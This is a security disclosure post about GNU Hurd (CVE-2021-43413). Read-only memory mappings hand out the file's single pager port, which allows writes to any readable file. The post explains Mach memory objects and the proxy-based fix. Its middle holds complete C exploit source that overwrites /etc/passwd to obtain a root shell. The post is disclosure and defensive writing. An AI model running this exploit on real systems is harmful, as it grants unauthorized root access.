• [VULN 2/4] No read-only mappings

    From Sergey Bugaev@21:1/5 to All on Tue Nov 2 17:50:01 2021
    Short description

    A single pager port is shared between anyone who mmaps a file, allowing anyone to modify any files they can read. This can be trivially exploited to get full root access to the system.

    Background: Mach memory objects

    Mach has the concept of memory objects, also called pagers. A memory object is essentially a collection of memory pages that can be mapped into a task address space. Memory objects can be implemented both in userspace or in the kernel. Like everything else in Mach, a memory object is represented by a port.

    A memory object port can be passed to the vm_map () call to map the object to the address space of a task. Mach itself acts as the client of the memory object, sending various requests to the object when it needs to read or write pages of data that belong to the memory object.

    An important property of (shared, as in MAP_SHARED) mappings is *coherence*: any
    changes made to the data (whether directly through the mapping or through some other means) must be immediately visible to everyone who has the object mapped. This basically requires a single set of physical pages to be shared between tasks, i.e. sharing a single set of physical pages is not only an optimization, but a hard requirement. Mach takes care to maintain this invariant, and only keeps a single copy of each logical page of a memory object (unless copying is requested explicitly).

    Background: io_map ()

    On the Hurd, the common way to get a memory object is through the io_map () call, defined as follows:

    /* Return objects mapping the data underlying this memory object. If
    the object can be read then memobjrd will be provided; if the
    object can be written then memobjwr will be provided. For objects
    where read data and write data are the same, these objects will be
    equal, otherwise they will be disjoint. Servers are permitted to
    implement io_map but not io_map_cntl. Some objects do not provide
    mapping; they will set none of the ports and return an error. Such
    objects can still be accessed by io_read and io_write. */
    routine io_map (
    io_object: io_t;
    out memobjrd: mach_port_send_t;
    out memobjwt: mach_port_send_t);

    io_map () can be called on a file; depending on whether the file was opened for reading, writing, or both, some of the returned memory objects can be null.

    The implementation of mmap () in glibc goes something like this (obviously, greatly simplified):

    mmap (...)
    mach_port_t robj, wobj, memobj;

    io_map (io, &robj, &wobj);
    memobj = (prot & PROT_WRITE) ? wobj : robj;

    if (memobj == MACH_PORT_NULL)
    /* The translator doesn't provide this sort of access to us. */
    return __hurd_fail (EACCES);

    vm_map (mach_task_self (), ..., memobj, ...);

    The issue

    As I mentioned, it's essential for coherence that there's a single copy of each page in core, shared between all tasks that have it mapped. This is why, generally, there can only be a single pager per file -- not two distinct pagers for read-only and writable access!

    This means that even when io_map () returns null for a writable memory object, the returned supposedly read-only memory object is still a port to the same, single pager for this file, which can be used for both reading and writing. While an mmap () call will behave as expected -- map the object read-only if so requested, return an error if asked to make a writable mapping since wobj is null -- nothing stops an attacker from calling vm_map () explicitly to create a writable mapping, nor from skipping the actual mapping and just talking to the pager directly using the port, like Mach would.

    The exploit

    I can overwrite arbitrary files, at least on the root ext2fs, that I have read access to. It's trivial to get root access from here. I chose to stick with the password server and erasing /etc/passwd again. The exploit even makes sure to restore /etc/passwd contents after getting root, so that the system doesn't end up in a broken state.

    Exploit source code

    #include <stdio.h>
    #include <error.h>
    #include <hurd.h>
    #include <string.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <hurd/paths.h>
    #include <hurd/password.h>

    main ()
    error_t err;
    file_t file;
    file_t password_server;
    struct stat64 st;
    mach_port_t robj, wobj;
    vm_address_t addr = 0;
    void *buffer;
    auth_t root_auth;

    file = file_name_lookup ("/etc/passwd", O_READ, 0);
    if (!MACH_PORT_VALID (file))
    error (1, errno, "file_name_lookup");

    password_server = file_name_lookup (_SERVERS_PASSWORD, 0, 0);
    if (!MACH_PORT_VALID (password_server))
    error (1, errno, "file_name_lookup");

    err = io_stat (file, &st);
    if (err)
    error (1, err, "io_stat");

    err = io_map (file, &robj, &wobj);
    if (err)
    error (1, err, "io_map");

    err = vm_map (mach_task_self (),
    &addr, st.st_size, 0,
    1, robj, 0, 0,
    if (err)
    error (1, err, "vm_map");

    buffer = malloc (st.st_size);
    if (!buffer)
    error (1, errno, "malloc (%lu)", st.st_size);

    memcpy (buffer, (void *) addr, st.st_size);
    memset ((void *) addr, '\n', st.st_size);

    err = password_check_user (password_server, 0, "hax2", &root_auth);
    if (err)
    error (0, err, "password_check_user");
    fprintf (stderr, "Got root auth port :)\n");

    memcpy ((void *) addr, buffer, st.st_size);
    free (buffer);

    err = setauth (root_auth);
    if (err)
    error (1, err, "setauth");

    if (setresuid (0, 0, 0) < 0)
    error (0, errno, "setresuid");
    if (setresgid (0, 0, 0) < 0)
    error (0, errno, "setresgid");

    execl ("/bin/bash", "/bin/bash", NULL);
    error (1, errno, "failed to exec bash");


    As it turned out, this vulnerability has been known to (some of) the Hurd developers before. Specifically, I have found these old discussions on the mailing list:

    * https://lists.gnu.org/archive/html/bug-hurd/2002-11/msg00263.html
    * https://lists.gnu.org/archive/html/bug-hurd/2005-06/msg00191.html

    So while I have discovered this vulnerability independently, it is not exactly new. This also explains the existence of the memory object proxy feature: proxies turned out to be so convenient for fixing this, it's as if they have been designed specifically for this use case! -- well, it turns out, they have been indeed, but the work has never been completed.

    Background: memory object proxies

    Memory object proxies are a GNU Mach feature; they're not in other versions of Mach. They are lightweight references to memory objects that provide a "view" into their underlying object, while possibly modifying some attributes of the underlying memory object. Importantly for us, they can modify the allowed protection.

    It's important to understand that memory object proxies are not themselves memory objects: they don't respond to memory_object_* () RPCs, and in particular
    they _don't_ proxy memory_object_* () RPCs to their underlying memory object.

    But, memory object proxies can frequently be used _in place of_ an actual memory
    object, because vm_map () implementation recognizes memory object proxies and _actually maps the underlying memory object_, while applying the relevant attributes of the proxy (namely, adjusting the allowed protection). After the vm_map () call, the resulting state of the map is indistinguishable from what it
    would have been had the underlying memory object been mapped directly, without using a proxy. In particular, no additional references to the proxy are created,
    so the proxy can be safely destroyed afterwards once the userspace no longer references it.

    How we fixed the vulnerability

    By finally making use of memory object proxies!

    There's a new function in libpager (the Hurd library for writing pagers), pager_create_ro_port (), which creates a read-only proxy to the pager; it complements the existing pager_get_port () function, which gets the actual pager
    port. ext2fs, fatfs, and tmpfs were all updated to use pager_create_ro_port () to return this read-only proxy when appropriate.

    Since it's always the original memory object that's entered into the vm_map, we can give out read-only pager ports while still keeping the invariant that there's only one pager, and one copy of each logical page, per file. (To be clear: this part is not new, it's how proxies work; though we had to make some tweaks to this mechanism nevertheless.)

    We also had to disable the GNU Mach extension that allowed using the "memory object name port", as returned from vm_region (), in vm_map (). This extension effectively allowed tasks to remap any objects that they have mapped with a different protection (and range), circumventing any protection restrictions set up by proxies (or otherwise by max_protection). This was used by mremap () in glibc, which as of now no longer works. We have some plans for a different way to implement mremap () which would be secure (VM proxies).

    Before these changes, the proxies feature existed, but it was not used for anything (outside of Joan Lledó's PCI arbiter memory mapping branch). Now, the proxies are *pervasively* used when mapping any file read-only (think shared libraries) and also each time when reading any file from disk, since _diskfs_rdwr_internal () goes through a mapping.

    --- SoupGate-Win32 v1.05
    * Origin: fsxNet Usenet Gateway (21:1/5)
  • From Amos Jeffries@21:1/5 to Sergey Bugaev on Mon Nov 8 21:50:02 2021
    On 3/11/21 05:31, Sergey Bugaev wrote:
    Short description

    A single pager port is shared between anyone who mmaps a file, allowing anyone
    to modify any files they can read. This can be trivially exploited to get full
    root access to the system.

    This has been assigned CVE-2021-43413


    --- SoupGate-Win32 v1.05
    * Origin: fsxNet Usenet Gateway (21:1/5)